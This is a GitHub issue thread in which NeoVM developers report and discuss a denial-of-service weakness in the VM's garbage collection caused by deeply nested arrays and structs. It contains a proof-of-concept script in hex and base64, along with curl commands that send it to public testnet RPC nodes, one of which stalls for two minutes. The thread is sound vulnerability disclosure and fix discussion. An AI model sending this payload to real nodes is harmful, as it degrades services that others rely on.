Refracting Needed for the Nested Nested Nested Nested Garbage Collection in NeoVM 🐌

[vang1ong7ang]

As a complement for https://github.com/neo-project/neo/issues/2521, another DoS way is provided here:

The PR neo-project/neo-vm#416 created by @shargon 👍 quickly found the keeeeey to the problem showed in https://github.com/neo-project/neo/issues/2521 and solved the critical issue. However, it is afraid that there are still several cases that can make GC run slowly.

---

POC

5601c24a4a01fb0760589d6011c05824fa11c0cf0260cc050060589d6010
ce5824fa10ce45

Source Code: https://github.com/lazynode/Tanya/pull/4/files

[dusmart]

10 gas consumed and 2 minutes cost on the test node.

➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ=="] }' http://seed2t.neo.org:20332 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   302    0   179    0   123      1      0 --:--:--  0:02:05 --:--:--    39
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "exception" : null,
      "gasconsumed" : "1004429190",
      "script" : "VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ==",
      "stack" : [],
      "state" : "HALT"
   }
}

[roman-khimov]

10 gas consumed and 2 minutes cost on the test node.

Some nodes can do it quicker, like in 1 second:

$ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ=="] }' https://rpc1t.n3.nspcc.ru:20331 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   276  100   153  100   123    124     99  0:00:01  0:00:01 --:--:--   223
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "stack" : [],
      "script" : "VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ==",
      "gasconsumed" : "1004429190",
      "state" : "HALT"
   }
}

[shargon]

I think that the best way to solve this is limit the nested nested arrays, structs and maps

[roman-khimov]

@shargon, don't give up that easy! Especially since nesting tracking is an overhead of its own.

[shargon]

A StackItemFactory (or memory) related to the ExecutionEngine could solve all these situations. neo-project/neo-vm#202

[vang1ong7ang]

A StackItemFactory (or memory) related to the ExecutionEngine could solve all these situations. neo-project/neo-vm#202

Yes.

[vang1ong7ang]

Time to reconsidering neo-project/neo-vm#202 neo-project/neo-vm#230 neo-project/neo-vm#232 and #1100